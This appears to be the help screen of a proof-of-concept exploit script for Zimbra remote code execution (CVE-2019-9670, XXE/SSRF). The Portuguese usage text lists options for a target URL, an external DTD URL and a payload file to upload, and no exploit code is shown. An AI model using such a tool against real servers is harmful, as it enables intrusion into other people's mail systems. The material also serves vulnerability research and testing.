
Zimbra RCE PoC - CVE-2019-9670 XXE/SSRF
Zimbra RCE CVE-2019-9670
$ ./zimbra.py -h
__________.__ ___. ___________________ ___________
\____ /|__| _____\_ |______________ \______ \_ ___ \_ _____/
/ / | |/ \| __ \_ __ \__ \ | _/ \ \/ | __)_
/ /_ | | Y Y \ \_\ \ | \// __ \_ | | \ \____| \
/_______ \|__|__|_| /___ /__| (____ / |____|_ /\______ /_______ /
\/ \/ \/ \/ \/ \/ \/
uso: zimbra.py [-h] -u URL -d DTD -n PAYLOAD_NAME -f PAYLOAD_FILE
Zimbra RCE CVE-2019-9670
argumentos opcionais:
-h, --help mostra esta mensagem de ajuda e sai
-u URL, --url URL URL alvo
-d DTD, --dtd DTD URL para o DTD
-n PAYLOAD_NAME, --name PAYLOAD_NAME
Nome do payload enviado
-f PAYLOAD_FILE, --file PAYLOAD_FILE
Ficheiro contendo o payload